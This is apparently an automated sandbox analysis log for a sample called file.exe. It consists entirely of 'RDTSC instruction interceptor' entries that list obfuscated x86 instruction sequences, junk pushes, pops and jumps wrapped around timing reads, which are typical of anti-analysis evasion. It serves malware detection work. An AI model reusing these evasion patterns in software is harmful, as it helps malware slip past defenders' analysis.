Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52508AE second address: 52508CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D8FEC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250938 second address: 525093C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525093C second address: 5250942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250942 second address: 5250951 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C8D9686Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250951 second address: 5250955 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52509F2 second address: 5250A05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D9686Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250A05 second address: 525000D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D8FEC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a jmp 00007FE1C8D8FEBEh 0x0000000f retn 0004h 0x00000012 nop 0x00000013 sub esp, 04h 0x00000016 xor ebx, ebx 0x00000018 cmp eax, 00000000h 0x0000001b je 00007FE1C8D90005h 0x00000021 xor eax, eax 0x00000023 mov dword ptr [esp], 00000000h 0x0000002a mov dword ptr [esp+04h], 00000000h 0x00000032 call 00007FE1CD94BA0Bh 0x00000037 mov edi, edi 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c pushad 0x0000003d popad 0x0000003e mov ebx, 6A64087Ch 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525000D second address: 5250013 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250013 second address: 5250017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250017 second address: 525001B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525001B second address: 5250043 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FE1C8D8FEC8h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250043 second address: 5250047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250047 second address: 525004D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525004D second address: 5250053 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250053 second address: 5250057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250057 second address: 525005B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525005B second address: 525007E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE1C8D8FEC8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525007E second address: 52500A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D9686Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov di, ax 0x0000000f push eax 0x00000010 mov edi, 3DECD7D2h 0x00000015 pop edx 0x00000016 popad 0x00000017 push FFFFFFFEh 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e mov di, A264h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52500A7 second address: 525011F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D8FEBAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 5014473Dh 0x0000000e jmp 00007FE1C8D8FEC1h 0x00000013 add dword ptr [esp], 2596570Bh 0x0000001a pushad 0x0000001b mov bx, cx 0x0000001e pushfd 0x0000001f jmp 00007FE1C8D8FEC8h 0x00000024 add ah, 00000078h 0x00000027 jmp 00007FE1C8D8FEBBh 0x0000002c popfd 0x0000002d popad 0x0000002e call 00007FE1C8D8FEB9h 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FE1C8D8FEC5h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525011F second address: 5250125 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250125 second address: 5250129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250129 second address: 5250149 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D96873h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250149 second address: 525014F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525014F second address: 525016B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C8D96878h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525016B second address: 5250197 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007FE1C8D8FEBEh 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FE1C8D8FEBEh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250197 second address: 52501CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE1C8D96871h 0x00000008 mov bl, ch 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FE1C8D96879h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52501CF second address: 5250203 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D8FEC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b mov ecx, 0706C793h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE1C8D8FEC6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250203 second address: 5250236 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr fs:[00000000h] 0x0000000d jmp 00007FE1C8D9686Ch 0x00000012 nop 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FE1C8D96877h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250236 second address: 52502A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D8FEC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FE1C8D8FEBAh 0x00000013 or esi, 3DF0B408h 0x00000019 jmp 00007FE1C8D8FEBBh 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007FE1C8D8FEC8h 0x00000025 jmp 00007FE1C8D8FEC5h 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52502A4 second address: 52502E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D96871h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FE1C8D9686Eh 0x0000000f sub esp, 18h 0x00000012 jmp 00007FE1C8D96870h 0x00000017 xchg eax, ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52502E2 second address: 52502E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52502E8 second address: 52502F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C8D9686Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52502F7 second address: 52502FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52502FB second address: 525030C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e mov ecx, edx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525030C second address: 5250312 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250312 second address: 5250316 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250316 second address: 52503B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D8FEC2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d mov cx, 113Dh 0x00000011 pushfd 0x00000012 jmp 00007FE1C8D8FEBAh 0x00000017 or esi, 413D7318h 0x0000001d jmp 00007FE1C8D8FEBBh 0x00000022 popfd 0x00000023 popad 0x00000024 xchg eax, esi 0x00000025 jmp 00007FE1C8D8FEC6h 0x0000002a push eax 0x0000002b jmp 00007FE1C8D8FEBBh 0x00000030 xchg eax, esi 0x00000031 jmp 00007FE1C8D8FEC6h 0x00000036 xchg eax, edi 0x00000037 jmp 00007FE1C8D8FEC0h 0x0000003c push eax 0x0000003d jmp 00007FE1C8D8FEBBh 0x00000042 xchg eax, edi 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52503B0 second address: 52503CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D96877h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52503CB second address: 5250447 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D8FEC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [75AB4538h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FE1C8D8FEC3h 0x00000017 add ax, 220Eh 0x0000001c jmp 00007FE1C8D8FEC9h 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007FE1C8D8FEC0h 0x00000028 add eax, 5507B088h 0x0000002e jmp 00007FE1C8D8FEBBh 0x00000033 popfd 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250447 second address: 525045F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C8D96874h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525045F second address: 525047D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D8FEBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [ebp-08h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov di, 0656h 0x00000015 push ebx 0x00000016 pop eax 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52505B5 second address: 52505C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D9686Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52505C4 second address: 5250697 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D8FEC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000018h] 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FE1C8D8FEBCh 0x00000016 adc eax, 591F1DD8h 0x0000001c jmp 00007FE1C8D8FEBBh 0x00000021 popfd 0x00000022 call 00007FE1C8D8FEC8h 0x00000027 mov dl, ch 0x00000029 pop edi 0x0000002a popad 0x0000002b mov ecx, dword ptr [eax+00000FDCh] 0x00000031 pushad 0x00000032 call 00007FE1C8D8FEC8h 0x00000037 push eax 0x00000038 pop ebx 0x00000039 pop eax 0x0000003a pushad 0x0000003b pushfd 0x0000003c jmp 00007FE1C8D8FEBDh 0x00000041 or ecx, 0947C186h 0x00000047 jmp 00007FE1C8D8FEC1h 0x0000004c popfd 0x0000004d pushfd 0x0000004e jmp 00007FE1C8D8FEC0h 0x00000053 sbb ah, 00000028h 0x00000056 jmp 00007FE1C8D8FEBBh 0x0000005b popfd 0x0000005c popad 0x0000005d popad 0x0000005e test ecx, ecx 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 movsx ebx, cx 0x00000066 popad 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524001B second address: 52400EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE1C8D9686Fh 0x00000009 sub cl, FFFFFFCEh 0x0000000c jmp 00007FE1C8D96879h 0x00000011 popfd 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 movzx eax, dx 0x0000001c popad 0x0000001d push eax 0x0000001e jmp 00007FE1C8D9686Bh 0x00000023 xchg eax, ebp 0x00000024 jmp 00007FE1C8D96876h 0x00000029 mov ebp, esp 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007FE1C8D9686Eh 0x00000032 xor si, 80D8h 0x00000037 jmp 00007FE1C8D9686Bh 0x0000003c popfd 0x0000003d mov edx, ecx 0x0000003f popad 0x00000040 sub esp, 2Ch 0x00000043 pushad 0x00000044 pushad 0x00000045 pushad 0x00000046 popad 0x00000047 mov bl, cl 0x00000049 popad 0x0000004a pushfd 0x0000004b jmp 00007FE1C8D96879h 0x00000050 xor ax, 1326h 0x00000055 jmp 00007FE1C8D96871h 0x0000005a popfd 0x0000005b popad 0x0000005c xchg eax, ebx 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007FE1C8D9686Dh 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52401BF second address: 52401C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52401C3 second address: 52401C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52401C7 second address: 52401CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52401CD second address: 52401DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C8D9686Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52401DE second address: 524024A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a jmp 00007FE1C8D8FEBDh 0x0000000f je 00007FE1C8D9013Ch 0x00000015 pushad 0x00000016 mov dx, ax 0x00000019 pushfd 0x0000001a jmp 00007FE1C8D8FEC8h 0x0000001f sub al, FFFFFFF8h 0x00000022 jmp 00007FE1C8D8FEBBh 0x00000027 popfd 0x00000028 popad 0x00000029 lea ecx, dword ptr [ebp-14h] 0x0000002c jmp 00007FE1C8D8FEC6h 0x00000031 mov dword ptr [ebp-14h], edi 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524024A second address: 524024E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524024E second address: 524026B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D8FEC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52402DB second address: 5240344 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE1C8D96878h 0x00000008 sbb ch, 00000008h 0x0000000b jmp 00007FE1C8D9686Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 mov si, 547Fh 0x00000017 popad 0x00000018 nop 0x00000019 jmp 00007FE1C8D96872h 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007FE1C8D9686Ch 0x00000028 and ax, EB98h 0x0000002d jmp 00007FE1C8D9686Bh 0x00000032 popfd 0x00000033 push eax 0x00000034 pop ebx 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52403A2 second address: 52403A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52403A8 second address: 5240455 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test eax, eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FE1C8D96875h 0x00000011 xor esi, 3645CD56h 0x00000017 jmp 00007FE1C8D96871h 0x0000001c popfd 0x0000001d push ecx 0x0000001e mov bl, CEh 0x00000020 pop eax 0x00000021 popad 0x00000022 jg 00007FE2395B490Ch 0x00000028 jmp 00007FE1C8D9686Fh 0x0000002d js 00007FE1C8D968E6h 0x00000033 pushad 0x00000034 pushfd 0x00000035 jmp 00007FE1C8D96874h 0x0000003a or al, FFFFFFD8h 0x0000003d jmp 00007FE1C8D9686Bh 0x00000042 popfd 0x00000043 mov ecx, 2438B88Fh 0x00000048 popad 0x00000049 cmp dword ptr [ebp-14h], edi 0x0000004c jmp 00007FE1C8D96872h 0x00000051 jne 00007FE2395B48C0h 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007FE1C8D9686Ah 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240455 second address: 5240464 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D8FEBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240464 second address: 52404CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D96879h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d call 00007FE1C8D9686Ch 0x00000012 mov ch, 31h 0x00000014 pop edi 0x00000015 movzx eax, di 0x00000018 popad 0x00000019 lea eax, dword ptr [ebp-2Ch] 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f pushfd 0x00000020 jmp 00007FE1C8D9686Bh 0x00000025 xor ecx, 1014FCBEh 0x0000002b jmp 00007FE1C8D96879h 0x00000030 popfd 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52404CA second address: 5240569 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 7CC50207h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov bx, ax 0x0000000c popad 0x0000000d xchg eax, esi 0x0000000e jmp 00007FE1C8D8FEC6h 0x00000013 push eax 0x00000014 pushad 0x00000015 mov bx, 5794h 0x00000019 mov ebx, 00DA5900h 0x0000001e popad 0x0000001f xchg eax, esi 0x00000020 jmp 00007FE1C8D8FEBFh 0x00000025 nop 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FE1C8D8FEC4h 0x0000002d adc al, 00000078h 0x00000030 jmp 00007FE1C8D8FEBBh 0x00000035 popfd 0x00000036 pushfd 0x00000037 jmp 00007FE1C8D8FEC8h 0x0000003c sbb si, CCD8h 0x00000041 jmp 00007FE1C8D8FEBBh 0x00000046 popfd 0x00000047 popad 0x00000048 push eax 0x00000049 pushad 0x0000004a mov al, bh 0x0000004c mov ah, D9h 0x0000004e popad 0x0000004f nop 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240569 second address: 524056D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524056D second address: 5240581 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D8FEC0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524066D second address: 5240673 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240673 second address: 5240677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230E1D second address: 5230E56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D96879h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FE1C8D9686Eh 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov eax, ebx 0x00000016 mov edx, 1877162Ch 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230E56 second address: 5230E6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C8D8FEC1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230E6B second address: 5230E6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230E6F second address: 5230E7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230E7E second address: 5230E82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230E82 second address: 5230E88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230E88 second address: 5230E8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230E8E second address: 5230EBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ecx 0x0000000b jmp 00007FE1C8D8FEC4h 0x00000010 mov dword ptr [ebp-04h], 55534552h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a movsx ebx, cx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230EBB second address: 5230ED0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C8D96871h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230EFD second address: 5230F01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230F01 second address: 5230F07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240ADB second address: 5240B67 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE1C8D8FEC2h 0x00000008 sbb al, FFFFFF88h 0x0000000b jmp 00007FE1C8D8FEBBh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 jmp 00007FE1C8D8FEC6h 0x0000001a mov ebp, esp 0x0000001c jmp 00007FE1C8D8FEC0h 0x00000021 cmp dword ptr [75AB459Ch], 05h 0x00000028 jmp 00007FE1C8D8FEC0h 0x0000002d je 00007FE23959DD73h 0x00000033 jmp 00007FE1C8D8FEC0h 0x00000038 pop ebp 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007FE1C8D8FEBAh 0x00000042 rdtsc
